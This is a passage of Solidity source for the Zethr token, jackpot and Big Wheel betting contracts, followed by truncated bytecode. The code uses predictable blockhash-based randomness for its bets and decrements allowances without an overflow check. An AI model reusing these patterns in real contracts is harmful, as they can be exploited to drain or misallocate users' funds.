profitPerDivToken = profitPerDivToken.add((toTokenHolders.mul(magnitude)).div(divTokenSupply)); payoutsTo_[msg.sender] += (int256) ((profitPerDivToken * dividendTokensBought) - fee); } // Update the buyer's token amounts frontTokenBalanceLedger_[msg.sender] = frontTokenBalanceLedger_[msg.sender].add(tokensBought); dividendTokenBalanceLedger_[msg.sender] = dividendTokenBalanceLedger_[msg.sender].add(dividendTokensBought); // Transfer to bankroll and div cards if (toBankRoll != 0) {ZethrBankroll(bankrollAddress).receiveDividends.value(toBankRoll)();} if (regularPhase) {divCardContract.receiveDividends.value(toDivCardHolders)(dividendRate);} // This event should help us track where all the eth is going emit Allocation(toBankRoll, toReferrer, toTokenHolders, toDivCardHolders, remainingEth); // Sanity checking uint sum = toBankRoll + toReferrer + toTokenHolders + toDivCardHolders + remainingEth - _incomingEthereum; assert(sum == 0); } // How many tokens one gets from a certain amount of ethereum. function ethereumToTokens_(uint _ethereumAmount) public view returns (uint) { require(_ethereumAmount > MIN_ETH_BUYIN, "Tried to buy tokens with too little eth."); if (icoPhase) { return _ethereumAmount.div(tokenPriceInitial_) * 1e18; } /* * i = investment, p = price, t = number of tokens * * i_current = p_initial * t_current (for t_current <= t_initial) * i_current = i_initial + (2/3)(t_current)^(3/2) (for t_current > t_initial) * * t_current = i_current / p_initial (for i_current <= i_initial) * t_current = t_initial + ((3/2)(i_current))^(2/3) (for i_current > i_initial) */ // First, separate out the buy into two segments: // 1) the amount of eth going towards ico-price tokens // 2) the amount of eth going towards pyramid-price (variable) tokens uint ethTowardsICOPriceTokens = 0; uint ethTowardsVariablePriceTokens = 0; if (currentEthInvested >= ethInvestedDuringICO) { // Option One: All the ETH goes towards variable-price tokens ethTowardsVariablePriceTokens = _ethereumAmount; } else if (currentEthInvested < ethInvestedDuringICO && currentEthInvested + _ethereumAmount <= ethInvestedDuringICO) { // Option Two: All the ETH goes towards ICO-price tokens ethTowardsICOPriceTokens = _ethereumAmount; } else if (currentEthInvested < ethInvestedDuringICO && currentEthInvested + _ethereumAmount > ethInvestedDuringICO) { // Option Three: Some ETH goes towards ICO-price tokens, some goes towards variable-price tokens ethTowardsICOPriceTokens = ethInvestedDuringICO.sub(currentEthInvested); ethTowardsVariablePriceTokens = _ethereumAmount.sub(ethTowardsICOPriceTokens); } else { // Option Four: Should be impossible, and compiler should optimize it out of existence. revert(); } // Sanity check: assert(ethTowardsICOPriceTokens + ethTowardsVariablePriceTokens == _ethereumAmount); // Separate out the number of tokens of each type this will buy: uint icoPriceTokens = 0; uint varPriceTokens = 0; // Now calculate each one per the above formulas. // Note: since tokens have 18 decimals of precision we multiply the result by 1e18. if (ethTowardsICOPriceTokens != 0) { icoPriceTokens = ethTowardsICOPriceTokens.mul(1e18).div(tokenPriceInitial_); } if (ethTowardsVariablePriceTokens != 0) { // Note: we can't use "currentEthInvested" for this calculation, we must use: // currentEthInvested + ethTowardsICOPriceTokens // This is because a split-buy essentially needs to simulate two separate buys - // including the currentEthInvested update that comes BEFORE variable price tokens are bought! uint simulatedEthBeforeInvested = toPowerOfThreeHalves(tokenSupply.div(MULTIPLIER * 1e6)).mul(2).div(3) + ethTowardsICOPriceTokens; uint simulatedEthAfterInvested = simulatedEthBeforeInvested + ethTowardsVariablePriceTokens; /* We have the equations for total tokens above; note that this is for TOTAL. To get the number of tokens this purchase buys, use the simulatedEthInvestedBefore and the simulatedEthInvestedAfter and calculate the difference in tokens. This is how many we get. */ uint tokensBefore = toPowerOfTwoThirds(simulatedEthBeforeInvested.mul(3).div(2)).mul(MULTIPLIER); uint tokensAfter = toPowerOfTwoThirds(simulatedEthAfterInvested.mul(3).div(2)).mul(MULTIPLIER); /* Note that we could use tokensBefore = tokenSupply + icoPriceTokens instead of dynamically calculating tokensBefore; either should work. Investment IS already multiplied by 1e18; however, because this is taken to a power of (2/3), we need to multiply the result by 1e6 to get back to the correct number of decimals. */ varPriceTokens = (1e6) * tokensAfter.sub(tokensBefore); } uint totalTokensReceived = icoPriceTokens + varPriceTokens; assert(totalTokensReceived > 0); return totalTokensReceived; } // How much Ether we get from selling N tokens function tokensToEthereum_(uint _tokens) public view returns (uint) { require(_tokens >= MIN_TOKEN_SELL_AMOUNT, "Tried to sell too few tokens."); /* * i = investment, p = price, t = number of tokens * * i_current = p_initial * t_current (for t_current <= t_initial) * i_current = i_initial + (2/3)(t_current)^(3/2) (for t_current > t_initial) * * t_current = i_current / p_initial (for i_current <= i_initial) * t_current = t_initial + ((3/2)(i_current))^(2/3) (for i_current > i_initial) */ // First, separate out the sell into two segments: // 1) the amount of tokens selling at the ICO price. // 2) the amount of tokens selling at the variable (pyramid) price uint tokensToSellAtICOPrice = 0; uint tokensToSellAtVariablePrice = 0; if (tokenSupply <= tokensMintedDuringICO) { // Option One: All the tokens sell at the ICO price. tokensToSellAtICOPrice = _tokens; } else if (tokenSupply > tokensMintedDuringICO && tokenSupply - _tokens >= tokensMintedDuringICO) { // Option Two: All the tokens sell at the variable price. tokensToSellAtVariablePrice = _tokens; } else if (tokenSupply > tokensMintedDuringICO && tokenSupply - _tokens < tokensMintedDuringICO) { // Option Three: Some tokens sell at the ICO price, and some sell at the variable price. tokensToSellAtVariablePrice = tokenSupply.sub(tokensMintedDuringICO); tokensToSellAtICOPrice = _tokens.sub(tokensToSellAtVariablePrice); } else { // Option Four: Should be impossible, and the compiler should optimize it out of existence. revert(); } // Sanity check: assert(tokensToSellAtVariablePrice + tokensToSellAtICOPrice == _tokens); // Track how much Ether we get from selling at each price function: uint ethFromICOPriceTokens; uint ethFromVarPriceTokens; // Now, actually calculate: if (tokensToSellAtICOPrice != 0) { /* Here, unlike the sister equation in ethereumToTokens, we DON'T need to multiply by 1e18, since we will be passed in an amount of tokens to sell that's already at the 18-decimal precision. We need to divide by 1e18 or we'll have too much Ether. */ ethFromICOPriceTokens = tokensToSellAtICOPrice.mul(tokenPriceInitial_).div(1e18); } if (tokensToSellAtVariablePrice != 0) { /* Note: Unlike the sister function in ethereumToTokens, we don't have to calculate any "virtual" token count. This is because in sells, we sell the variable price tokens **first**, and then we sell the ICO-price tokens. Thus there isn't any weird stuff going on with the token supply. We have the equations for total investment above; note that this is for TOTAL. To get the eth received from this sell, we calculate the new total investment after this sell. Note that we divide by 1e6 here as the inverse of multiplying by 1e6 in ethereumToTokens. */ uint investmentBefore = toPowerOfThreeHalves(tokenSupply.div(MULTIPLIER * 1e6)).mul(2).div(3); uint investmentAfter = toPowerOfThreeHalves((tokenSupply - tokensToSellAtVariablePrice).div(MULTIPLIER * 1e6)).mul(2).div(3); ethFromVarPriceTokens = investmentBefore.sub(investmentAfter); } uint totalEthReceived = ethFromVarPriceTokens + ethFromICOPriceTokens; assert(totalEthReceived > 0); return totalEthReceived; } function transferFromInternal(address _from, address _toAddress, uint _amountOfTokens, bytes _data) internal { require(regularPhase); require(_toAddress != address(0x0)); address _customerAddress = _from; uint _amountOfFrontEndTokens = _amountOfTokens; // Withdraw all outstanding dividends first (including those generated from referrals). if (theDividendsOf(true, _customerAddress) > 0) withdrawFrom(_customerAddress); // Calculate how many back-end dividend tokens to transfer. // This amount is proportional to the caller's average dividend rate multiplied by the proportion of tokens being transferred. uint _amountOfDivTokens = _amountOfFrontEndTokens.mul(getUserAverageDividendRate(_customerAddress)).div(magnitude); if (_customerAddress != msg.sender) { // Update the allowed balance. // Don't update this if we are transferring our own tokens (via transfer or buyAndTransfer) allowed[_customerAddress][msg.sender] -= _amountOfTokens; } // Exchange tokens frontTokenBalanceLedger_[_customerAddress] = frontTokenBalanceLedger_[_customerAddress].sub(_amountOfFrontEndTokens); frontTokenBalanceLedger_[_toAddress] = frontTokenBalanceLedger_[_toAddress].add(_amountOfFrontEndTokens); dividendTokenBalanceLedger_[_customerAddress] = dividendTokenBalanceLedger_[_customerAddress].sub(_amountOfDivTokens); dividendTokenBalanceLedger_[_toAddress] = dividendTokenBalanceLedger_[_toAddress].add(_amountOfDivTokens); // Recipient inherits dividend percentage if they have not already selected one. if (!userSelectedRate[_toAddress]) { userSelectedRate[_toAddress] = true; userDividendRate[_toAddress] = userDividendRate[_customerAddress]; } // Update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerDivToken * _amountOfDivTokens); payoutsTo_[_toAddress] += (int256) (profitPerDivToken * _amountOfDivTokens); uint length; assembly { length := extcodesize(_toAddress) } if (length > 0) { // its a contract // note: at ethereum update ALL addresses are contracts ERC223Receiving receiver = ERC223Receiving(_toAddress); receiver.tokenFallback(_from, _amountOfTokens, _data); } // Fire logging event. emit Transfer(_customerAddress, _toAddress, _amountOfFrontEndTokens); } // Called from transferFrom. Always checks if _customerAddress has dividends. function withdrawFrom(address _customerAddress) internal { // Setup data uint _dividends = theDividendsOf(false, _customerAddress); // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); // Fire logging event. emit onWithdraw(_customerAddress, _dividends); } /*======================= = RESET FUNCTIONS = ======================*/ function injectEther() public payable onlyAdministrator { } /*======================= = MATHS FUNCTIONS = ======================*/ function toPowerOfThreeHalves(uint x) public pure returns (uint) { // m = 3, n = 2 // sqrt(x^3) return sqrt(x ** 3); } function toPowerOfTwoThirds(uint x) public pure returns (uint) { // m = 2, n = 3 // cbrt(x^2) return cbrt(x ** 2); } function sqrt(uint x) public pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } function cbrt(uint x) public pure returns (uint y) { uint z = (x + 1) / 3; y = x; while (z < y) { y = z; z = (x / (z * z) + 2 * z) / 3; } } } /*======================= = INTERFACES = ======================*/ contract ZethrBankroll { function receiveDividends() public payable {} } // File: contracts/Games/JackpotHolding.sol /* * * Jackpot holding contract. * * This accepts token payouts from a game for every player loss, * and on a win, pays out *half* of the jackpot to the winner. * * Jackpot payout should only be called from the game. * */ contract JackpotHolding is ERC223Receiving { /**************************** * FIELDS ****************************/ // How many times we've paid out the jackpot uint public payOutNumber = 0; // The amount to divide the token balance by for a pay out (defaults to half the token balance) uint public payOutDivisor = 2; // Holds the bankroll controller info ZethrBankrollControllerInterface controller; // Zethr contract Zethr zethr; /**************************** * CONSTRUCTOR ****************************/ constructor (address _controllerAddress, address _zethrAddress) public { controller = ZethrBankrollControllerInterface(_controllerAddress); zethr = Zethr(_zethrAddress); } function() public payable {} function tokenFallback(address /*_from*/, uint /*_amountOfTokens*/, bytes/*_data*/) public returns (bool) { // Do nothing, we can track the jackpot by this balance } /**************************** * VIEWS ****************************/ function getJackpotBalance() public view returns (uint) { // Half of this balance + half of jackpotBalance in each token bankroll uint tempBalance; for (uint i=0; i<7; i++) { tempBalance += controller.tokenBankrolls(i).jackpotBalance() > 0 ? controller.tokenBankrolls(i).jackpotBalance() / payOutDivisor : 0; } tempBalance += zethr.balanceOf(address(this)) > 0 ? zethr.balanceOf(address(this)) / payOutDivisor : 0; return tempBalance; } /**************************** * OWNER FUNCTIONS ****************************/ /** @dev Sets the pay out divisor * @param _divisor The value to set the new divisor to */ function ownerSetPayOutDivisor(uint _divisor) public ownerOnly { require(_divisor != 0); payOutDivisor = _divisor; } /** @dev Sets the address of the game controller * @param _controllerAddress The new address of the controller */ function ownerSetControllerAddress(address _controllerAddress) public ownerOnly { controller = ZethrBankrollControllerInterface(_controllerAddress); } /** @dev Transfers the jackpot to _to * @param _to Address to send the jackpot tokens to */ function ownerWithdrawZth(address _to) public ownerOnly { uint balance = zethr.balanceOf(address(this)); zethr.transfer(_to, balance); } /** @dev Transfers any ETH received from dividends to _to * @param _to Address to send the ETH to */ function ownerWithdrawEth(address _to) public ownerOnly { _to.transfer(address(this).balance); } /**************************** * GAME FUNCTIONS ****************************/ function gamePayOutWinner(address _winner) public gameOnly { // Call the payout function on all 7 token bankrolls for (uint i=0; i<7; i++) { controller.tokenBankrolls(i).payJackpotToWinner(_winner, payOutDivisor); } uint payOutAmount; // Calculate pay out & pay out if (zethr.balanceOf(address(this)) >= 1e10) { payOutAmount = zethr.balanceOf(address(this)) / payOutDivisor; } if (payOutAmount >= 1e10) { zethr.transfer(_winner, payOutAmount); } // Increment the statistics fields payOutNumber += 1; // Emit jackpot event emit JackpotPayOut(_winner, payOutNumber); } /**************************** * EVENTS ****************************/ event JackpotPayOut( address winner, uint payOutNumber ); /**************************** * MODIFIERS ****************************/ // Only an owner can call this method (controller is always an owner) modifier ownerOnly() { require(msg.sender == address(controller) || controller.multiSigWallet().isOwner(msg.sender)); _; } // Only a game can call this method modifier gameOnly() { require(controller.validGameAddresses(msg.sender)); _; } } // File: contracts/Bankroll/ZethrGame.sol /* Zethr Game Interface * * Contains the necessary functions to integrate with * the Zethr Token bankrolls & the Zethr game ecosystem. * * Token Bankroll Functions: * - execute * * Player Functions: * - finish * * Bankroll Controller / Owner Functions: * - pauseGame * - resumeGame * - set resolver percentage * - set controller address * * Player/Token Bankroll Functions: * - resolvePendingBets */ contract ZethrGame { using SafeMath for uint; using SafeMath for uint56; // Default events: event Result (address player, uint amountWagered, int amountOffset); event Wager (address player, uint amount, bytes data); // Queue of pending/unresolved bets address[] pendingBetsQueue; uint queueHead = 0; uint queueTail = 0; // Store each player's latest bet via mapping mapping(address => BetBase) bets; // Bet structures must start with this layout struct BetBase { // Must contain these in this order uint56 tokenValue; // Multiply by 1e14 to get tokens uint48 blockNumber; uint8 tier; // Game specific structures can add more after this } // Mapping of addresses to their *position* in the queue // Zero = they aren't in the queue mapping(address => uint) pendingBetsMapping; // Holds the bankroll controller info ZethrBankrollControllerInterface controller; // Is the game paused? bool paused; // Minimum bet should always be >= 1 uint minBet = 1e18; // Percentage that a resolver gets when he resolves bets for the house uint resolverPercentage; // Every game has a name string gameName; constructor (address _controllerAddress, uint _resolverPercentage, string _name) public { controller = ZethrBankrollControllerInterface(_controllerAddress); resolverPercentage = _resolverPercentage; gameName = _name; } /** @dev Gets the max profit of this game as decided by the token bankroll * @return uint The maximum profit */ function getMaxProfit() public view returns (uint) { return ZethrTokenBankrollInterface(msg.sender).getMaxProfit(address(this)); } /** @dev Pauses the game, preventing anyone from placing bets */ function ownerPauseGame() public ownerOnly { paused = true; } /** @dev Resumes the game, allowing bets */ function ownerResumeGame() public ownerOnly { paused = false; } /** @dev Sets the percentage of the bets that a resolver gets when resolving tokens. * @param _percentage The percentage as x/1,000,000 that the resolver gets */ function ownerSetResolverPercentage(uint _percentage) public ownerOnly { require(_percentage <= 1000000); resolverPercentage = _percentage; } /** @dev Sets the address of the game controller * @param _controllerAddress The new address of the controller */ function ownerSetControllerAddress(address _controllerAddress) public ownerOnly { controller = ZethrBankrollControllerInterface(_controllerAddress); } // Every game should have a name /** @dev Sets the name of the game * @param _name The name of the game */ function ownerSetGameName(string _name) ownerOnly public { gameName = _name; } /** @dev Gets the game name * @return The name of the game */ function getGameName() public view returns (string) { return gameName; } /** @dev Resolve expired bets in the queue. Gives a percentage of the house edge to the resolver as ZTH * @param _numToResolve The number of bets to resolve. * @return tokensEarned The number of tokens earned * @return queueHead The new head of the queue */ function resolveExpiredBets(uint _numToResolve) public returns (uint tokensEarned_, uint queueHead_) { uint mQueue = queueHead; uint head; uint tail = (mQueue + _numToResolve) > pendingBetsQueue.length ? pendingBetsQueue.length : (mQueue + _numToResolve); uint tokensEarned = 0; for (head = mQueue; head < tail; head++) { // Check the head of the queue to see if there is a resolvable bet // This means the bet at the queue head is older than 255 blocks AND is not 0 // (However, if the address at the head is null, skip it, it's already been resolved) if (pendingBetsQueue[head] == address(0x0)) { continue; } if (bets[pendingBetsQueue[head]].blockNumber != 0 && block.number > 256 + bets[pendingBetsQueue[head]].blockNumber) { // Resolve the bet // finishBetfrom returns the *player* profit // this will be negative if the player lost and the house won // so flip it to get the house profit, if any int sum = - finishBetFrom(pendingBetsQueue[head]); // Tokens earned is a percentage of the loss if (sum > 0) { tokensEarned += (uint(sum).mul(resolverPercentage)).div(1000000); } // Queue-tail is always the "next" open spot, so queue head and tail will never overlap } else { // If we can't resolve a bet, stop going down the queue break; } } queueHead = head; // Send the earned tokens to the resolver if (tokensEarned >= 1e14) { controller.gamePayoutResolver(msg.sender, tokensEarned); } return (tokensEarned, head); } /** @dev Finishes the bet of the sender, if it exists. * @return int The total profit (positive or negative) earned by the sender */ function finishBet() public hasNotBetThisBlock(msg.sender) returns (int) { return finishBetFrom(msg.sender); } /** @dev Resturns a random number * @param _blockn The block number to base the random number off of * @param _entropy Data to use in the random generation * @param _index Data to use in the random generation * @return randomNumber The random number to return */ function maxRandom(uint _blockn, address _entropy, uint _index) private view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(_blockn), _entropy, _index ))); } /** @dev Returns a random number * @param _upper The upper end of the range, exclusive * @param _blockn The block number to use for the random number * @param _entropy An address to be used for entropy * @param _index A number to get the next random number * @return randomNumber The random number */ function random(uint256 _upper, uint256 _blockn, address _entropy, uint _index) internal view returns (uint256 randomNumber) { return maxRandom(_blockn, _entropy, _index) % _upper; } // Prevents the user from placing two bets in one block modifier hasNotBetThisBlock(address _sender) { require(bets[_sender].blockNumber != block.number); _; } // Requires that msg.sender is one of the token bankrolls modifier bankrollOnly { require(controller.isTokenBankroll(msg.sender)); _; } // Requires that the game is not paused modifier isNotPaused { require(!paused); _; } // Requires that the bet given has max profit low enough modifier betIsValid(uint _betSize, uint _tier, bytes _data) { uint divRate = ZethrTierLibrary.getDivRate(_tier); require(isBetValid(_betSize, divRate, _data)); _; } // Only an owner can call this method (controller is always an owner) modifier ownerOnly() { require(msg.sender == address(controller) || controller.multiSigWallet().isOwner(msg.sender)); _; } /** @dev Places a bet. Callable only by token bankrolls * @param _player The player that is placing the bet * @param _tokenCount The total number of tokens bet * @param _divRate The dividend rate of the player * @param _data The game-specific data, encoded in bytes-form */ function execute(address _player, uint _tokenCount, uint _divRate, bytes _data) public; /** @dev Resolves the bet of the supplied player. * @param _playerAddress The address of the player whos bet we are resolving * @return int The total profit the player earned, positive or negative */ function finishBetFrom(address _playerAddress) internal returns (int); /** @dev Determines if a supplied bet is valid * @param _tokenCount The total number of tokens bet * @param _divRate The dividend rate of the bet * @param _data The game-specific bet data * @return bool Whether or not the bet is valid */ function isBetValid(uint _tokenCount, uint _divRate, bytes _data) public view returns (bool); } // File: contracts/Games/ZethrBigWheel.sol /* The actual game contract. * * This contract contains the actual game logic, * including placing bets (execute), resolving bets, * and resolving expired bets. */ contract ZethrBigWheel is ZethrGame { using SafeMath for uint8; /**************************** * GAME SPECIFIC ****************************/ // Slots-specific bet structure struct Bet { // Must contain these in this order uint56 tokenValue; uint48 blockNumber; uint8 tier; // Game specific uint bets; // this is actually a uint40[5] array but because solidity fucks us over with storage writes we will explicitly convert this for solidity so we write to a single storage ONCE not 5 times } /**************************** * FIELDS ****************************/ // The holding contract for jackpot tokens JackpotHolding public jackpotHoldingContract; /**************************** * CONSTRUCTOR ****************************/ constructor (address _controllerAddress, uint _resolverPercentage, string _name) ZethrGame(_controllerAddress, _resolverPercentage, _name) public { } /**************************** * USER METHODS ****************************/ /** @dev Retrieve the results of the last spin of a plyer, for web3 calls. * @param _playerAddress The address of the player */ function getLastSpinOutput(address _playerAddress) public view returns (uint winAmount, uint lossAmount, uint jackpotAmount, uint jackpotWins, uint output) { // Cast to Bet and read from storage Bet storage playerBetInStorage = getBet(_playerAddress); Bet memory playerBet = playerBetInStorage; // Safety check require(playerBet.blockNumber != 0); (winAmount, lossAmount, jackpotAmount, jackpotWins, output) = getSpinOutput(playerBet.blockNumber, _playerAddress, playerBet.bets); return (winAmount, lossAmount, jackpotAmount, jackpotWins, output); } event WheelResult( uint _blockNumber, address _target, uint40[5] _bets, uint _winAmount, uint _lossAmount, uint _winCategory ); /** @dev Retrieve the results of the spin, for web3 calls. * @param _blockNumber The block number of the spin * @param _target The address of the better * @param _bets_notconverted Array (declared as uint as read from storage) of bets to place on x2,4x,8x,12x,24x * @return winAmount The total number of tokens won * @return lossAmount The total number of tokens lost * @return jackpotAmount The total amount of tokens won in the jackpot * @return output An array of all of the results of a multispin */ function getSpinOutput(uint _blockNumber, address _target, uint _bets_notconverted) public view returns (uint winAmount, uint lossAmount, uint jackpotAmount, uint jackpotWins, uint output) { uint40[5] memory _bets = uintToBetsArray(_bets_notconverted); // If the block is more than 255 blocks old, we can't get the result uint result; if (block.number - _blockNumber > 255) { // Can't win: default to an impossible number result = 999997; } else { // Generate a result - random based ONLY on a past block (future when submitted). result = random(999996, _blockNumber, _target, 0) + 1; } uint[5] memory betsMul; betsMul[0] = uint(_bets[0]).mul(1e14); betsMul[1] = uint(_bets[1]).mul(1e14); betsMul[2] = uint(_bets[2]).mul(1e14); betsMul[3] = uint(_bets[3]).mul(1e14); betsMul[4] = uint(_bets[4]).mul(1e14); lossAmount = betsMul[0] + betsMul[1] + betsMul[2] + betsMul[3] + betsMul[4]; // Result is between 1 and 999996 // 1 - 1 Jackpot // 2 - 27027 25x // 27028 - 108107 10x // 108108 - 270269 6x // 270270 - 513511 4x // 513512 - 999996 2x uint _winCategory = 0; if (result < 2) { jackpotWins++; _winCategory = 99; } else { if (result < 27028) { if (betsMul[4] > 0) { // Player has won the 25x multiplier category! _winCategory = 25; winAmount = SafeMath.mul(betsMul[4], 25); lossAmount -= betsMul[4]; } } else if (result < 108108) { if (betsMul[3] > 0) { // Player has won the 10x multiplier category! _winCategory = 10; winAmount = SafeMath.mul(betsMul[3], 10); lossAmount -= betsMul[3]; } } else if (result < 270269) { if (betsMul[2] > 0) { // Player has won the 6x multiplier category! _winCategory = 6; winAmount = SafeMath.mul(betsMul[2], 6); lossAmount -= betsMul[2]; } } else if (result < 513512) { if (betsMul[1] > 0) { // Player has won the 4x multiplier category! _winCategory = 4; winAmount = SafeMath.mul(betsMul[1], 4); lossAmount -= betsMul[1]; } } else if (result < 999997) { if (betsMul[0] > 0) { // Player has won the 2x multiplier category! _winCategory = 2; winAmount = SafeMath.mul(betsMul[0], 2); lossAmount -= betsMul[0]; } } jackpotAmount = lossAmount.div(100); lossAmount -= jackpotAmount; } emit WheelResult(_blockNumber, _target, _bets, winAmount, lossAmount, _winCategory); return (winAmount, lossAmount, jackpotAmount, jackpotWins, result); } /** @dev Retrieve the results of the spin, for contract calls. * @param _blockNumber The block number of the spin * @param _target The address of the better * @param _bets Array of bets to place on x2,4x,8x,12x,24x * @return winAmount The total number of tokens won * @return lossAmount The total number of tokens lost * @return jackpotAmount The total amount of tokens won in the jackpot */ function getSpinResults(uint _blockNumber, address _target, uint _bets) public returns (uint winAmount, uint lossAmount, uint jackpotAmount, uint jackpotWins) { (winAmount, lossAmount, jackpotAmount, jackpotWins,) = getSpinOutput(_blockNumber, _target, _bets); } /**************************** * OWNER METHODS ****************************/ /** @dev Set the address of the jackpot contract * @param _jackpotAddress The address of the jackpot contract */ function ownerSetJackpotAddress(address _jackpotAddress) public ownerOnly { jackpotHoldingContract = JackpotHolding(_jackpotAddress); } /**************************** * INTERNALS ****************************/ /** @dev Returs the bet struct of a player * @param _playerAddress The address of the player * @return Bet The bet of the player */ function getBet(address _playerAddress) internal view returns (Bet storage) { // Cast BetBase to Bet BetBase storage betBase = bets[_playerAddress]; Bet storage playerBet; assembly { // tmp is pushed onto stack and points to betBase slot in storage let tmp := betBase_slot // swap1 swaps tmp and playerBet pointers swap1 } // tmp is popped off the stack // playerBet now points to betBase return playerBet; } /** @dev Resturns a random number * @param _blockn The block number to base the random number off of * @param _entropy Data to use in the random generation * @param _index Data to use in the random generation * @return randomNumber The random number to return */ function maxRandom(uint _blockn, address _entropy, uint _index) private view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(_blockn), _entropy, _index ))); } /** @dev Returns a random number * @param _upper The upper end of the range, exclusive * @param _blockn The block number to use for the random number * @param _entropy An address to be used for entropy * @param _index A number to get the next random number * @return randomNumber The random number */ function random(uint256 _upper, uint256 _blockn, address _entropy, uint _index) internal view returns (uint256 randomNumber) { return maxRandom(_blockn, _entropy, _index) % _upper; } /**************************** * OVERRIDDEN METHODS ****************************/ /** @dev Resolves the bet of the supplied player. * @param _playerAddress The address of the player whos bet we are resolving * @return totalProfit The total profit the player earned, positive or negative */ function finishBetFrom(address _playerAddress) internal returns (int /*totalProfit*/) { // Memory vars to hold data as we compute it uint winAmount; uint lossAmount; uint jackpotAmount; uint jackpotWins; // Cast to Bet and read from storage Bet storage playerBetInStorage = getBet(_playerAddress); Bet memory playerBet = playerBetInStorage; // Player should not be able to resolve twice! require(playerBet.blockNumber != 0); // Safety check require(playerBet.blockNumber != 0); playerBetInStorage.blockNumber = 0; // Iterate over the number of spins and calculate totals: // - player win amount // - bankroll win amount // - jackpot wins (winAmount, lossAmount, jackpotAmount, jackpotWins) = getSpinResults(playerBet.blockNumber, _playerAddress, playerBet.bets); // Figure out the token bankroll address address tokenBankrollAddress = controller.getTokenBankrollAddressFromTier(playerBet.tier); ZethrTokenBankrollInterface bankroll = ZethrTokenBankrollInterface(tokenBankrollAddress); // Call into the bankroll to do some token accounting bankroll.gameTokenResolution(winAmount, _playerAddress, jackpotAmount, address(jackpotHoldingContract), playerBet.tokenValue.mul(1e14)); // Pay out jackpot if won if (jackpotWins > 0) { for (uint x = 0; x < jackpotWins; x++) { jackpotHoldingContract.gamePayOutWinner(_playerAddress); } } // Grab the position of the player in the pending bets queue uint index = pendingBetsMapping[_playerAddress]; // Remove the player from the pending bets queue by setting the address to 0x0 pendingBetsQueue[index] = address(0x0); // Delete the player's bet by setting the mapping to zero pendingBetsMapping[_playerAddress] = 0; emit Result(_playerAddress, playerBet.tokenValue.mul(1e14), int(winAmount) - int(lossAmount) - int(jackpotAmount)); // Return all bet results + total *player* profit return (int(winAmount) - int(lossAmount) - int(jackpotAmount)); } /** @dev Places a bet. Callable only by token bankrolls * @param _player The player that is placing the bet * @param _tokenCount The total number of tokens bet * @param _tier The div rate tier the player falls in * @param _data The game-specific data, encoded in bytes-form */ function execute(address _player, uint _tokenCount, uint _tier, bytes _data) isNotPaused bankrollOnly betIsValid(_tokenCount, _tier, _data) hasNotBetThisBlock(_player) public { Bet storage playerBet = getBet(_player); // Check for a player bet and resolve if necessary if (playerBet.blockNumber != 0) { finishBetFrom(_player); } // Set bet information playerBet.tokenValue = uint56(_tokenCount.div(1e14)); playerBet.blockNumber = uint48(block.number); playerBet.tier = uint8(_tier); require(_data.length == 32); uint actual_data; assembly{ actual_data := mload(add(_data, 0x20)) } playerBet.bets = actual_data; uint40[5] memory actual_bets = uintToBetsArray(actual_data); // Sum of all bets should be the amount of tokens transferred require((uint(actual_bets[0]) + uint(actual_bets[1]) + uint(actual_bets[2]) + uint(actual_bets[3]) + uint(actual_bets[4])).mul(1e14) == _tokenCount); // Add player to the pending bets queue pendingBetsQueue.length++; pendingBetsQueue[queueTail] = _player; queueTail++; // Add the player's position in the queue to the pending bets mapping pendingBetsMapping[_player] = queueTail - 1; // Emit event emit Wager(_player, _tokenCount, _data); } /** @dev Determines if a supplied bet is valid * @param _data The game-specific bet data * @return bool Whether or not the bet is valid */ function isBetValid(uint /*_tokenCount*/, uint /*_divRate*/, bytes _data) public view returns (bool) { uint actual_data; assembly{ actual_data := mload(add(_data, 0x20)) } uint40[5] memory bets = uintToBetsArray(actual_data); uint bet2Max = bets[0] * 2; uint bet4Max = bets[1] * 4; uint bet6Max = bets[2] * 6; uint bet10Max = bets[3] * 10; uint bet25Max = bets[4] * 25; uint max = bet2Max; if (bet4Max > max) { max = bet4Max; } if (bet6Max > max) { max = bet6Max; } if (bet10Max > max) { max = bet10Max; } if (bet25Max > max) { max = bet25Max; } uint minBetDiv = minBet.div(1e14); return (max*1e14 <= getMaxProfit()) && ((bets[0]) >= minBetDiv || (bets[0]) == 0) && ((bets[1]) >= minBetDiv || (bets[1]) == 0) && ((bets[2]) >= minBetDiv || (bets[2]) == 0) && ((bets[3]) >= minBetDiv || (bets[3]) == 0) && ((bets[4]) >= minBetDiv || (bets[4]) == 0); } function betInputToBytes(uint40 bet1, uint40 bet2, uint40 bet3, uint40 bet4, uint40 bet5) pure public returns (bytes32){ bytes memory concat = (abi.encodePacked(uint56(0), bet1, bet2, bet3, bet4, bet5)); bytes32 output; assembly{ output := mload(add(concat, 0x20)) } return output; } function uintToBetsArray(uint input) public view returns (uint40[5]){ uint40[5] memory output; uint trackme = (input); for (uint i=4;; i--){ output[i] = uint40(trackme); // auto take the last 40 bits in memory trackme /= 0x0000000000000000000000000000000000000000000000000000010000000000; // left shift 40 bits if (i==0){ break; } } return output; } function getPlayerBetData(address player) public view returns(uint40[5]){ uint betData = getBet(player).bets; return (uintToBetsArray(betData)); } }
0x6080604052600436106100ed5763ffffffff60e060020a60003504166308910fe681146100f2578063160352171461013f57806329ab0ca7146101705780633927010d1461018a57806366e4f8c81461019f5780636a561c11146101eb5780636c9a5c6114610200578063754f579d1461023157806376ccb1fe1461028a57806382916381146102b15780638701a2f01461031d578063a5dcf45814610344578063a7f8a53c14610394578063ba5f3e46146103b5578063bbda33d9146103d6578063c1ed54a114610460578063c8e566c6146104d4578063ec062ac01461050b578063fac9712214610520575b600080fd5b3480156100fe57600080fd5b50610119600435600160a060020a0360243516604435610541565b604080519485526020850193909352838301919091526060830152519081900360800190f35b34801561014b57600080fd5b50610154610564565b60408051600160a060020a039092168252519081900360200190f35b34801561017c57600080fd5b50610188600435610573565b005b34801561019657600080fd5b506101886106a0565b3480156101ab57600080fd5b506101c0600160a060020a03600435166107ef565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b3480156101f757600080fd5b506101886108a1565b34801561020c57600080fd5b506102186004356109d9565b6040805192835260208301919091528051918290030190f35b34801561023d57600080fd5b5060408